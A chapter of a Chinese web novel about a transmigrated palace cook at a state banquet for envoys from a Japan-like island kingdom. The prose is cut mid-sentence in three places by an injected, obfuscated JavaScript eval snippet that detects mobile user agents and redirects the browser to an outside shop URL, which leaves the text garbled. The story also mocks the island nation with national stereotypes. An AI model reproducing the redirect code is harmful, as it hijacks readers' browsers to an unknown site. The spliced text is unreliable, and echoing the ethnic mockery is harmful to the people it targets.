《华夏国宴打脸使臣》 1. 办国宴、笋煨火腿 日已西斜。 鸟还巢,人归家,百业百工将歇,整个长安城都被笼在一层悠闲的夕照当中。 而皇宫东南角的鸿胪寺,却是截然不同的景象。 那大膳房中水汽淼淼、玉盘琅琅,正是最为繁忙之时。 百十来号人各司其职,为了今夜燕飨外邦使臣的宴席忙到前脚打后脚。 “和灜国,不就是一个小破岛国吗?犯得上用这顶尖儿的头等席招待他们?” 说话的,是膳婢余珠儿。 她年岁尚小,最为憨直可爱,手中将纯金莲花瓣碗擦到灿灿亮,口中则和负责教管自己的白灵姐姐如此抱怨。 白灵哭笑不得,先瞪眼让余珠儿噤了声,再耐着性子与她解释起来。 “四夷来朝,咱们大隆的回礼、还有这宴设之式,自然是由鸿胪寺的大人们辨其等位,早早决定好的。” “可是,到底该怎么办,还不是陛下一句话的事?” 白灵讲得很认真,一旁的苏晓瓷也支着耳朵,偷听得很认真。 这是苏晓瓷穿越来的第二个月。 她在现代英年早逝,再一睁眼,就到了这叫做“大隆王朝”的奇异古代时空。 好在,大隆的风俗、世情基本和大唐盛世相当,苏晓瓷不至于两眼一抹黑。 加之,她性格谨慎,行事小心。 这段时日,倒也将这个与自己同名同姓的膳婢扮演得毫无破绽,兢兢业业在鸿胪寺当差。 所谓“鸿胪寺”,并不是寺庙,而是历史悠久可追溯到秦汉时期的国家级外交机构,掌管外邦朝觐、诸蕃入贡之事。 鸿,大也; 胪,陈序也; 寺,廷也,有法度者也。(1) 鸿胪之名,取的就是大声传颂、鸣赞之意,以礼引导宾客。 诚然,鸿胪寺的名声不像同为“九寺五监”的大理寺、国子监那样响亮。 但是因为大隆乃是八方争凑、万国来贡的强国,大隆天子甚至有那“天可汗”的盛名,所以本朝的鸿胪寺,地位也非常重要。 大隆的鸿胪寺卿,是绝对不会因为整日无事可做,而像某些朝代那样被戏称为“睡卿”的。(2) 大人物有大人物的忙法,小人物也有小人物的奋斗。 像苏晓瓷这样的鸿胪寺膳婢,其职责就是制作国宴,款待外邦来使。 对此,苏晓瓷表示:就没见过这么专业对口的穿越! 因为在现世的她,就是出生于一个国宴大厨世家。 苏晓瓷的爷爷和爸爸都是国宴大厨,妈妈也是颇为罕见的国宴女大厨。 亲戚中,也尽是开饭店酒庄的、做私厨的、投身于食品加工研发的…… 苏晓瓷天资高绝,又从小耳濡目染,于厨艺之上,无论是实践还是理论都极其出色,是整个家族的明日之星。 她本来准备女承母业,续写妈妈的辉煌呢…… 没想到在国宴厨师考核之前出身未捷身先死,穿到了这大隆。 能重活一回,还能继续遂着自己的心意走在厨艺之路上,苏晓瓷是绝无怨言的。 她还很幸运地保留了原主的记忆。 只不过,这禁宫中的讲究和规矩,当然是知晓得越多越好。 于是苏晓瓷整日眼观六路、耳听八方,拼命收集各种信息。 “确实,和瀛国只是东边的小岛国,国土贫瘠,没什么丰富的珍宝和物产。” 白灵的声音还在继续,又引得苏晓瓷感慨。 她也再一次确认——此世的地理和历史也就像现世的翻版。说不上是一模一样,但是起码有八成重叠。 比如这和瀛国的种种,听起来和华夏东边某个岛国便甚为相似。 白灵:“所以,和瀛国每回进献之物,不过是一些你我这样的后宫膳人都看不上的渔获、织物之类,自然一直被列做三等邦国。” 苏晓瓷听得忍不住偷笑,心说比起余珠儿随性的暴言,白灵她自己这番细致而客观的解释,倒更能让和瀛国难堪了。 余珠儿连连点头,“是呀,半月前,给他们做接风宴的时候,用的就是三等席嘛!” 怎么送行宴,就飞升成头等席了? 须知大隆招待使臣的国宴,总共也就三个等级,这首和尾自是云泥之别。 头等席面中,光荤菜便有八热炒、八冷盘、四温碗和四烧碟。若说起茶点果子、酱酢衬菜等等,更是不胜枚举。 上头一拍腿,下头跑断腿。 自打前日,这更改宴席规格的旨令下来,鸿胪寺众人无不如临大敌,为了紧急筹办器皿、食材等忙到飞起。 也不怪余珠儿对此事这样耿耿于怀,非要闹个明白。 就连白灵,想到自己废寝忘食连轴转了两日,语气里也不禁幽然含怨。 “谁让人家这次的礼物当中,有一位得了圣心的佳人呢?” 从前,和瀛国也向大隆进献“生口”,即是活生生的人。 甚至曾有单次,便足足进献了百人的情况。(3) 然而,那些皆是工匠、歌伎舞者之流。 大隆人才济济,民生欣欣,并不以为意。 这一回,和瀛国却送来一位能以一敌百的贵族美姬—— 藤原纯子,年方十五,乃是家中娇养大的幺女。 她出身武将家族之首幕府藤原家,其父正是掌控整个和瀛国军政的藤原大将军。 听说纯子姬自幼仰慕华夏文化,精通汉学,苦修汉语,因此气质高华而文雅,极富才情。 她此番随使团一同前来,被献于大隆天子。 话听到这,余珠儿早把满腹的牢骚忘得一干二净,直说真想亲眼去席上,见见这一位异域美人。 白灵便笑骂,“你这毛猴儿如何能去御前?” 她捏着余珠儿的脸颊,转向切墩中的苏晓瓷。 “和人家晓瓷学学。你何时举止也这般稳当了,技艺也这般精湛了,再去传菜侍宴也不迟!” 原来,苏晓瓷偷听归偷听,手上的活儿却是一直没停。 那笃笃的的菜刀声急如一条疾驰的河流,又稳如万人行进的军阵。 银光闪烁之间,一片片有着红宝石似的透亮颜色、大理石似的细密花纹的火腿片,便化为无数均匀纤长的细丝,从她手底跃了出来。 火腿的品质实在是绝佳,只是这样切开来,丰腴的香气就肆意溢出。 之后,这些火腿丝会和鲜脆的春笋丝一同,在凝了一层金色鸡油的老鸡汤中以文火煨熟,成为一道材料简单、却滋味卓绝的“笋煨火腿”。 入口时,先是鸡汤的鲜美。 而后,火腿中那已变成半透明、润泽如琥珀一般的脂肪就会渐渐融在舌尖,完全唤醒味觉。 接着,因饱吸了鸡汤而变得柔韧的肉丝也细细密密缠上来,咸鲜无比,让人几乎不舍得嚼,更不舍得咽下去。 等到终于狠下心来,上下齿那么一碰,“咔嚓”一声脆响,却是那些嫩笋先应声而断,润出丝丝清甜的汁水来。 余珠儿咽咽口水,这道笋煨火腿有多好吃,她都不敢想! 当然,苏晓瓷也没多给她时间去想,因为转瞬之间,她就将那些火腿都切好。 连白灵都惊叹,“晓瓷最近的刀工简直是突飞猛进,我都要自愧不如了!” 苏晓瓷将菜刀用湿棉布细细擦净,甚为诚挚地回答,“是百灵姐姐教得好。” 苏晓瓷也归白灵负责。 虽说,苏晓瓷的刀工其实精熟于白灵数倍……但是多亏了白灵特别关照的教导,她才能够合情合理地将自己的技能释放出来。 要不然,可真要把她憋死了! 对于苏晓瓷有如神助的进步,众人都当她是忽然开了窍儿。 余珠儿尤其叹服,“晓瓷姐姐不愧是一等膳婢!唔……其实我觉得,其它一等膳婢也比不上你。” 鸿胪寺的后厨之人,地位由高到低,分为膳长、膳使和膳婢三级。 膳长只有左、右两位,膳婢和膳使则如同国宴席面似的,细分做三等。 比如余珠儿是最低的三等膳婢。 她只能做扫洒一类的活计,连洗菜、择菜也不行,因为她没有资格碰任何食材。 苏晓瓷则是一等膳婢。 她不仅可以帮着切墩、摆盘,必要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561681|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,也可以亲手烹调,只是必须有膳使在一旁协同监察。 同为白灵手下,余珠儿是真的将苏晓瓷看做榜样,觉得自己差得远了,一时有些惆怅,小大人儿似的唉声叹气。 苏晓瓷看着小丫头皱成包子的脸轻笑,投桃报李,赶紧也将余珠儿夸赞一番。 她的言语玲珑可亲,立刻哄得余珠儿喜笑颜开,大声祝福。 “晓瓷姐姐,一个月后的膳使考核,你肯定能通过!” “膳使考核”。 只听到这几个字,苏晓瓷这具躯体就仿佛被一阵隐痛击中,令她一瞬恍惚。 因为通过膳使考核——正是原主的悲愿。 唯有升为膳使,才可以独自上灶开火。 他日出得宫去,也能堂堂正正说自己是御厨中人。 届时,无论是被富贵人家请去做厨娘,亦或是自己开食肆,都有足足的底气,生计无忧。 原主也是因此,才竭尽全力想要升为膳使。 想到这里,苏晓瓷禁不住慨然叹气。 原主实是个质朴的好姑娘。 虽然同名,却不同命。与自小就是全家人掌上明珠的苏晓瓷相比,原主身世坎坷——她幼失怙恃,旁无手足,于是在伯父家小心翼翼长大。 因伯父为国子监小吏,按照本朝惯例,其族中女需在及笄之后采选入宫,于各局各司当差。 伯父舍不得亲女,原主便自请代之。 一入宫,原主什么脏活累活都抢着干。 四年过去,家世和天赋都平平无奇的她,硬是从末流做到了一等膳婢,只等着膳使考核。 可惜的是,去岁冬,这可怜的姑娘因过度劳累染了病。 她不好好休息,继续夙兴夜寐地忙,竟没熬过那个严冬,在第一朵春花绽于枝头之时,悄无声息地断了气。 然后苏晓瓷就穿来了。 原主如此拼命,以致最后真的断送了性命,无非是想在宫中混出名堂来,以此回报伯父一家鞠养之恩。 可是,依照着接收到的回忆,苏晓瓷回顾原主这短短一生,却只为她觉得心疼和不值。 伯父绝不算善待于原主。 他捏住了原主爹娘留下的最后一点家财,却常让原主缺衣少食。 就连代堂姐入宫,也是他有意无意地引导和逼迫。 而原主入宫时,小小的包袱中竟连一件撑场面的体面衣饰都没有,更勿论可用来傍身和打点的私房钱。 根本就是任她自生自灭了。 苏晓瓷刚穿过来时,原主这些年的疲惫和委屈,以及马上要熬出头、却功亏一篑的不甘和痛苦,还如此强烈地残留于这具躯体中,甚至与她的魂灵也产生了共鸣。 说起来,她们二人也真是同病相怜。 原主没能成为膳使,而苏晓瓷前世未能成为国宴大厨。 都是棋差一着,输天半子。 因此,早在穿越而来的第一天,苏晓瓷就曾静静环视这偌大的鸿胪寺膳房发誓—— 她要将这双份的遗憾在此生一同粉碎! 总有一天,她要站在这鸿胪寺的顶点。 她要竭尽两世所学,亲自烹调国宴,以彰国威。 她要用那些最精妙、最昂贵、最美味的菜肴去打脸那些无知番邦。 什么和瀛国?别来蹭热度! 他们简直将来大隆送礼当成财富密码了。回回拿些臭鱼烂虾,换走价值百倍千倍的金银赏赐也就算了……这一回,甚至玩起迷惑君上那一招了? 还是让他们回到自己那小破岛,去刨土比较安心! 对了,她还要风风光光回家省亲。 当然,苏晓瓷才不是帮着原主去孝敬伯父一家,而是要帮着她打脸,出了这一口恶气,也算是全了两人之间的缘分。 愉快的打脸之旅,就从膳使考核开始! 苏晓瓷沉浸在自己的思绪中,却没注意到白灵神色微异,已经默默将余珠儿支开。 随即,白灵的身影和声音便一同朝她低低地压来。 “晓瓷啊,下个月的膳使考核,你、你先别参加了。” “你明年再考,如何?” 2. 赐封号、忽起风波 平地跳雪山,晴空下霹雳。 白灵寥寥两句话,惊得苏晓瓷诧然反问。 “姐姐,为何?不是都说好了,今年让我去的。” 苏晓瓷生着一双圆眼,明润如同林鹿。还是惊鸿一瞥、随后便消失于一片白涔涔晨岚中的那种,令人见之则悦之,思之又念之。 如此样貌,本就讨喜。 而她此时蹙眉凝目,直直看来的模样,简直刺得白灵愧疚难当。 然而白灵也确实很为难,只能咬咬牙继续劝—— 白灵手下,另有一名唤“方芳”的一等膳婢,跟随白灵时间最长,年纪也最大。 方芳以娘亲病重、家中拮据为由,哭求白灵准她参加此次考核,以解家中之困。 白灵其人,心软,耳根子也软,最是没有主见。 她确实也很喜欢苏晓瓷,平日里并不偏心。 可是既亲眼见方芳边哭边说“哪怕阿娘有个万一,见我有了出息,也能含笑九泉”一类的话,便到底不忍。 白灵想着,苏晓瓷可以明年再考; 但此次却是方芳到了年纪被遣散出宫前,最后一次机会了…… 这本来敲定的名额,就被转让了。 听了这一通讲述,苏晓瓷心中不禁冷笑。 能入宫侍候的,都是低阶官吏之息女、妹侄,各个家世清白殷实。 怎么可能因为家中一人生病就陷入绝境? 父亲担任长安府衙的书簿一职——方芳的出身,甚至比这后厨中大多数人都高且正。 她明明一直以此为傲,常将其挂在嘴边,到了该卖惨的时候,倒对此只字不提了。 苏晓瓷心念几转,眸光一闪,当即拉住白灵的手。 “我竟不知方芳姐姐家中出了这样的事,真揪心。哎,她心思重,有什么难处,也不愿与我说。” 殷殷之语,拳拳之意,苏晓瓷先将自己摘出来,表明不知方芳母亲之事; 再以退为进,只道“现下不是商量此事的好时机”,还是先将这国宴忙完再说。 她还保证,之后会陪白灵一起去看望方芳,竭力提供帮助。 苏晓瓷言之有理,态度又赤忱热心,令白灵十分欣慰。 点点头,白灵便赶忙回到自己案前,投身于紧张的菜肴制作之中。 她心想,虽然苏晓瓷未正面答应让出名额,但是听她话音,此事差不多成了! 然而,白灵大错特错了。 苏晓瓷是绝对不会放弃这个考核机会的。 这是原主和自己辛辛苦苦挣来的,岂有拱手让人之理? 况且那方芳,也配不上苏晓瓷的善意。 自打苏晓瓷穿越而来,异彩初显,风头渐盛,同是一等膳婢的方芳因为妒忌,可没少给她下绊子。 但初来乍到的苏晓瓷力求低调、不惹事,便也默默忍了。 可这一次,方芳居然敢打起这最为重要的考核的主意。 而如今的苏晓瓷,已经不是那性子绵软好欺负的原主了。 看来,国宴结束还真要去会会方芳,免得真被当成随意揉搓的一团棉花! 随着苏晓瓷暴烈的思绪,这大膳房也风风火火运转不停,到了往膳厅送开胃膳食的时刻。 正暗自猛猛吐槽的苏晓瓷,立时戴上得体谦卑的表情,小心翼翼端着食盒,随着队伍出了门。 大隆天子已携新宠,即是那一位藤原纯子姬端坐于国宴的八方厅。 于是,雅乐高鸿,金殿传胪,和瀛国的使臣们正依次上殿觐见、落座。 头等国宴,正式开宴。 *——*——* 杯碟泠然相碰,发出悦耳声响,一道道菜肴就被轻轻地摆在藤原义的食案上。 藤原义是纯子姬的长兄,是和瀛国藤原将军的继承人,更是本次使团的首领。 所以,一直以来他都端着身份,从不在属下们面前失态。 然而,在大隆停留这短短半月,已经将藤原义人生前三十年建立的认知全部推翻。 他端不住了。 怎么又是从没见过的食材? 怎么又是从没见过的做法? ——藤原义咬着后牙、咽着口水,又爱又恨地这样想。 之前的三等国宴已经令他惊艳不已,这回的头等国宴更是让他如置天宫。 馔玉炊珠,三牲列于五鼎; 炮龙烹凤,八珍取自四方。 那些辉煌奢华自不用提,就连……藤原义又扫向侍立一旁的膳婢,心说就连一个小小膳婢都犹如神仙妃子似的。 妹妹纯子是和瀛国内数一数二的美人,芳名远播,藤原义一直以此为傲。 然而此时此刻,他目之所及的每一个宫人,竟都是丰润高挑、面容姣好,比他府中四处搜罗来的姬妾还要端丽几分,令他眼福大饱,浮想联翩。 而藤原义反复打量的,正是因为做事稳妥,倒霉地被派来为他这个主宾侍膳的苏晓瓷。 至于苏晓瓷,不是没有感知到藤原义肮脏的视线,不是没有看到对方那半个秃瓢的锃亮脑袋,和崎岖得像是她穿越人生一样的面部线条…… 但是藤原义的食案离主座最近。 抬眼就能看清天子御座纹饰的情况下,苏晓瓷唯有百般谨慎地低眉敛目,表情不变分毫。 如果是在现世,依着她绝不让自己受半点委屈的性子,早已经疾步上前,抬起下巴昂然质问“你瞅啥?!”了。 然而在此处,她只能当自己也是一架无悲无喜的鎏金飞鹤宫灯。 其实,藤原义已经算是定力好的。 相比之下,和瀛国使团中绝大多数人,都双眼发光地盯着翩跹的宫娥和舞女们,一副眼珠子要掉出来、哈喇子要流出来的痴迷之态,令在座陪宴的许多大隆臣子面露鄙夷之色。 不多时,鼓瑟将歇,笙箫亦定。 这暖场的歌舞既停下,那开胃的餐点也备齐,于是,在万众瞩目的肃静之中,大隆皇帝李驰缓缓举杯致意。 “喜今日春和景明,恰是为诸位贵使践行之佳期。” 李驰身材高大,如岳峙,如渊渟,年近五十仍是仪表堂皇。 他那广袖博带拂动的,似都是金紫霸气,逼得和瀛国使臣们惶惶起立回礼。 “承蒙天可汗盛情款待,我等不胜感激。” 藤原义用流利的汉话如此回答。 如今的和瀛国,文化贫瘠,只有口耳相传的语言,却尚未发展出正式的文字。 所以凡是官方文书、诗词、经文等需要落于纸上以传颂留存的,都是以汉字记录。 汉字之于和瀛国,就如同法语之于古代欧洲宫廷,乃是正统身份和高贵地位的象征。 而且,由于和瀛国甚至不像欧洲各国那样本也有自己的文字,汉字对于他们来说,更为重要。 这样珍贵的知识,自然只在贵族阶级间流通。 作为和瀛国的顶级勋贵,藤原义的汉话也是国中顶级的。 “我等归国之后,定向天皇陛下和藤原将军大人转达天可汗的高情厚爱。” 李驰颔首,“浮天沧海,想必旅途不易,朕便预祝诸位有一帆清风明月相伴,平安归乡。” 随后,便是你来我往的寒暄和商业互吹,以及礼官们冗长繁琐的唱和、祝祷。 直到李驰的一个决定戛然而至,打破这沉闷。 “少将军,令妹玉质芳资,深得朕心。朕既得贵国贵女,又怎可轻慢待之?” “朕将册封令妹为正二品昭仪,半月后行册封之礼。” 满座寂然,而后哗然。 竟然是昭仪! 这可是九嫔之首! 其地位仅次于皇后和四妃(1)。 无论是大隆、还是和瀛之人都面面相觑,窃窃私语,不敢相信。 就连藤原纯子自己,应该也是首次听闻此事,登时屏住呼吸。 随后,她反应飞快,惊呼着以袖掩口。 “陛下,臣妾无功无德,不敢恬居如此高位。” ——藤原纯子的汉话,居然说得比她兄长还要好。 好奇而小心地,苏晓瓷不动声色悄悄去觑,便见对方确实音容皆美。 也就怪不得,李驰忙握着藤原纯子的手安抚,还一副不值钱的样子俯身侧耳,听她继续。 而藤原纯子只反复道:“臣妾实在惶恐,实在不安呀!” 出现了! 一生不安的樱花妹! 着实可乐,苏晓瓷恨不得仰天大笑。 李驰其实也有些无奈。 他确实钟爱藤原纯子的美貌和似水柔情,可相处之时,她总是把“惶恐不安”挂在嘴边。 赐她一些宫装首饰,她说惶恐不安;亲手递她一块糕饼,她说惶恐不安…… 怎么总是不安、不安的,好像是他欺负她似的。 李驰知晓,和瀛国乃是藤原将军总揽大权,挟天皇以令诸大名。 因此藤原纯子虽为将军之女,地位实则等同于一国公主。可不知为何,她仍总会在不知不觉间透出一些缩手缩脚的小家子气…… 无奈归无奈,可李驰到底还是喜欢她。 “爱妃莫要多虑,朕既然予你昭仪之位,你便当得起。” “确实啊,你年岁尚轻,却离乡万里,难免总是不安。既然如此,朕便再赐你封号为‘安’,以慰卿心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561682|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 封号? 藤原纯子实在欣喜若狂,可下意识地,她又想做出恭谨拒绝的模样。 然而皇帝刚说封号是为了要她安心,那句“惶恐不安”便再也说不出来了。 可不说这句话,她好像连话都不会说了。 近距离看到藤原纯子一整个噎住的场景,这一回,苏晓瓷真的差点没憋住笑。 若不是明白皇帝只是一个沉迷美色的中年钢铁直男,苏晓瓷都要怀疑他是故意在阴阳怪气了! 苏晓瓷憋住了,可大隆的臣子们却憋不住了—— 刚想劝谏不能给异域姬妾太高的位份,结果一转眼,居然连封号都赐下了。 这、这要是藤原纯子再“不安”两回,说不定这位份还得涨呢! 刻不容缓,礼部尚书郭洹音赶紧起身进言。 “陛下,依本朝制,唯有皇后娘娘以及贵、淑、德、贤此四妃可以美字为封号。” “妃位之下,向来以妃嫔姓氏相称则是。今别立号,不妥。” 所谓“安昭仪”确实不伦不类,从来没有这样的称呼,像是凭空挤进后妃之制。 “郭卿,如果事关四妃之位,自是要谨慎待之。朕此次封个昭仪而已,不用如此刻板啊。” 李驰的回应虽算是温和,但明显心意已决。 他又说藤原纯子出身不凡,别于其它异邦姬妾,正好适合单独赐一封号。 本该酣畅的国宴之上,郭洹音也不好再与自家主君争论。 而且,说实在的,那些话既已当着使臣的面说出来,便是不可更改的金口玉言了。 郭洹音只能悻悻落座。 和瀛使团众人却是乐开了花。 尤其是藤原义。 他先是率众高呼万岁谢恩,而后更是能屈能伸,也不管那高台上的藤原纯子半月前还是对自己毕恭毕敬的幺妹,直接领头恭贺“安昭仪娘娘”,气得郭洹音胡子一颤一颤的。 酒宴重启,李驰慷慨地授意众人不要拘礼,尽情馔饮。 封号一事仿佛尘埃落定。 至于心思各异的众人到底在作何想,苏晓瓷其实并不在乎。 如同前世一样,当她工作时,心中便满盈激烈而天真的热爱,一心一意只想将工作做好。 苏晓瓷端然肃立,心思和感官却活泛得很,努力接收各种信息。 大隆宴席的形式是主座面南居中,单处于高台之上; 其余参宴者分坐左右两列,或是四、六列,几人合用一长案。 总之,场面井然有序,又很大气开阔。 这十分方便苏晓瓷记住官员们的样貌和饮食喜好、观察宴厅如何布置、捋顺上菜的程序礼仪…… 她一点一滴、争分夺秒地学习。 “你,来,给本将军斟酒。” 哦,对了,苏晓瓷暗自翻个白眼。 还得为这藤原义侍宴。 头等国宴,皆以头等的黄封御酒相供。 藤原义哪里喝过如此佳酿?一杯入喉,只觉得如登仙境。 他瞪大眼睛,咂嘴令苏晓瓷再斟,转瞬之间就四五杯下了肚。 眯着半醉的眼,藤原义看这满案佳肴,那叫一个目眩神迷。 其中一碟红滟滟、油汪汪的菜肴尤其打眼。藤原义心里飘了,手上也没了准头,狠狠夹了一筷头塞进嘴里,然后…… 猛然咳嗽起来。 开始,他还闭紧嘴想要遮掩,只从鼻子发出沉闷的哼声。 可正如那句著名的话:贫穷、爱和咳嗽,这三件事无法隐藏。 不过几息,他就再忍不住了。 响亮的咳嗽回荡在宏广的宴厅中,几乎带了回音,众人想礼貌地装没看见都装不下去了,纷纷侧目而视。 这一口呛得十分刁钻,藤原义咳得满脸通红、涕泗交加。 他感到越来越多的视线汇聚己身,窘迫尴尬之下拼命想压制,可越想压制,气息就越乱,咳得就越厉害,口中涎水、酱汁和菜屑肆意喷射,又沿着下巴滑落。 苏晓瓷深感恶心,但她毕竟很有职业道德的专业人员,刚要将案上丝帕递过去,就见藤原义的随从——叫做“铁之助”的年轻人扶住对方。 铁之助焦急地用和瀛话询问几句,可没得到回应。 他就赶紧伸出手指,点在藤原义方才吃过的菜中尝了尝。 舌尖瞬间火辣辣刺痛,这从未吃过的食感令铁之助震惊不已。 未来得及思索,他就用不太标准的汉话大喊起来。 “菜里有毒!扎得人舌头疼!” 他十分气愤,“是不是想谋害我们少将军?!” 苏晓瓷:哈?那只是辣椒好吗? 3. 炙豚肉、当众出丑 “菜里有毒!” ——这样的话语,竟在两国邦交的国宴之上被轻易说出。 年轻人气盛,遇事真是口不择言。 一时之间,在坐的官场老油条们,都为铁之助的无知无畏而惊诧,人人缄默。 藤原义的咳嗽声就更显得惊天动地。 他知道自己只是被辣椒呛到了。有一颗辣椒籽刚好贴在喉管上,上不去、下不来。 因为和瀛国没有辣椒,他尚不习惯这刺激辛辣之味,这才着了道。 此时听着铁之助的蠢话,藤原义心急似火烧,偏偏口不能言,只能使劲扒拉着铁之助。 然而,这样的“挣扎”却让铁之助更惊慌,不禁哭嚎起来。 实也不能怪他…… 和瀛本土没有辣椒,也尚未来得及从大隆引入,铁之助是真的没有见过、吃过辣椒。 在京这些时日,和瀛国使臣住在专门接待外使的官驿,每日由官驿供给三餐。 因为早得了“和瀛国饮食质朴清淡”的嘱咐,所以官驿从未给他们做辣菜。 最开始的接风宴上,倒是顾忌也有大隆官员,所以做了数道辣味。 但铁之助熬过漫长的海上航行,一到大隆就病倒,并未列席那次国宴。 所以,此时他的反应极其真情实感、极具感染力,也就唬得其它和瀛人以为真出了什么事,呼啦啦围过来查看。 等到藤原义终于将那一口气喘匀,忙不迭澄清情况、向李驰告罪时,他自己、以及他这一亩三分地,已是十分的狼藉。 只见那桌案歪斜,餐具凌乱,几道菜肴翻覆,污染了毛毡刺绣的地毯,那叫一个鸡飞狗跳。 有宫娥赶紧来收拾残局,有内侍匆忙跑出去请御医。 更有鸿胪寺卿带着左右膳长,已经跪在李驰脚下,郑重保证“菜肴绝无问题”。 顺着他们战战兢兢的视线往上看,只见李驰已因怒气而面如冰霜。 他如何能不气? 明明破格赐予和瀛国使团头等国宴的殊荣,没想到得了这样的指责。 泱泱大隆,光明磊落,就算对于交战国的使臣,也不会行于饮食中投毒这样肮脏下作之举。 一句指责,却是对大隆国格和君主人格的双重侮辱,任何知礼之国、守义之君都无法容忍。 事实上,李驰也正准备兴师问罪。 然而话刚到嘴边,身旁的藤原纯子已经“扑通”一声跪了下去。 泪盈于睫,她连声为母国使团的失礼而告罪,好不可怜。 看着美人因叩首而露出的纤美后颈,李驰渐消怒气,徒生不忍。 又听着藤原义和铁之助的拼命解释,李驰便想,罢了。 外交之事,最是说大则大,说小则小,全看双方怎样态度、如何斡旋。 若是执意交恶,那自然可以给对方罗织出千八百条罪名; 可若是为了大局考量,有许多事情便可以容忍。 李驰也早已过了争强好胜的年纪,再看在爱妃的面子上,终是决定不予追究。 “原来是因为不识辣椒而闹出的误会,小事而已,贵使快请起。” 李驰态度仍很和蔼,只是他的笑容与方才相比,到底少了几分真心,多了几份生硬。 “令贵使如此自责,倒是我大隆招待不周了。” 皇帝此话一出,苏晓瓷心里便咯噔着升起不祥的预感。 果然,为了将这一篇轻巧地翻过去,李驰只能把一口沉重的黑锅甩了过来—— “想来是鸿胪寺备膳不用心,将菜品滋味做得太过浓烈了。” 天可汗既然给了台阶,藤原义立刻连滚带爬地下来了,只道“确是辣味太重呛到了”。 于是,这宴厅中乍然响起的下一句话,就是李驰的沉声质问—— “这道菜,是谁做的?” 真是好大一口锅啊! 将鸿胪寺众人都砸懵了。 左右膳长咬牙俯首,准备领罚;众膳使、膳婢噤若寒蝉。 而苏晓瓷身边的白灵,更是止不住颤抖起来。 ——因为这道菜,正是白灵做的。 三十余位膳使各有分工,每人负责几道菜,才能协力完成这头等国宴的席面。 看着吓到面无血色的白灵,再念及她要转给别人的膳使考核名额…… 顷刻之间,苏晓瓷心中已有了计较。 不破不立。 苏晓瓷深吸一口气,想起妈妈以前对自己的评价——说“这孩子为了达成心中所想,向来是有几分狂气和疯劲儿的,谁也拦不住她”。 妈妈那一半欣慰、一半无奈的宠溺话语仿佛还回响在耳边,苏晓瓷唯有请求妈妈保佑她,因为她接下来所做之事,不成功,便成仁。 于是苏晓瓷迈步出列,在白灵震惊的目光中,堂堂立于御座阶下。 长揖罢,她便开口。 “回陛下的话,这道炙豚肉,是奴婢做的。” 白灵万万没想到,苏晓瓷真的敢替她认下这个罪责。 她下意识想要将苏晓瓷拽回来,然而面对这样国宴的盛景和天子的威压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561683|142736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,僵直的手脚却一动也动不了,嘴唇也是开而又合,到底没发出半点声响。 “炙豚肉?” 居然是藤原纯子抢白,明显想参与到这与她兄长有关的事件之中,左右结果。 她仍维持着跪伏于地的姿态,朝李驰扬起的面庞楚楚动人。 “臣妾读过上国诗歌,‘莫笑农家腊酒浑,丰年留客足鸡豚’。豚肉肥美又易得,在我和瀛国也是最常见的肉类。” 李驰神色稍缓,一因见着爱妃的纯美姿态,二因喜她苦修汉学,还忍不住夸奖了几句。 豚肉,便是此时对猪肉的叫法,且特指小猪肉。 “娘娘博学,所言甚是。” 苏晓瓷怎会放过这个话头?赶紧也顺着皇帝的话拍了马屁,又朗声继续。 “这道菜是春季国宴的定例菜式。因为四季所食之禽献,各有不同。” “《礼记》中记载‘春宜羔豚,膳膏芗’,想必娘娘亦是知晓。”(1) 天地良心,苏晓瓷只是随口客套地一说。 可好笑的是,这一次,李驰帮着藤原纯子抢答了。 “爱妃精通汉学,在和瀛国甚至有‘汉学之神女’的美名,自是知晓此句。” “来呀,爱妃,说说你对此作何解?” 藤原纯子僵住。 藤原纯子沉默。 藤原纯子将袖笼中的手紧紧握起。 霎时间,她只觉得如坐针毡,如鲠在喉,如芒在背。 因为!因为她根本没学过这一句! “春宜羔豚”,倒是很清楚。 可那后半句,她完全没听明白,只能靠着读音猜测。 膳膏芗…… 膏芗……高香? 上高香? 对了! 藤原纯子眼睛一亮,肯定是这样! 这宫女是不是有口音?话都说不清! 哪里像她,可是请汉话最流利的老师教授的,学的是最正宗的官话。 于是藤原纯子矜持而自信地开口。 “此句是说天子之宴,春天宜用猪肉和羊肉,并要烧高香,敬拜天地。” 满厅寂静。 半晌,不知是谁终于忍不住轻笑出声。 以此为号,越来越多的大隆官员笑了起来。 笑声不大。 可这些低而杂的笑声就像是一声声轰隆隆的闷雷,从四面八方传来,最终通通炸在藤原纯子心间。 再也维持不住恬淡可怜的姿态,她骤然直起身子,无措地扫过满堂官员。 4. 论贡品、完美回击 此情此景,令在场所有大隆官员心中,同时浮现出一连串疑问—— 藤原纯子,她竟然算是和瀛国最精通汉学之人? 这就是“汉学之神女”? 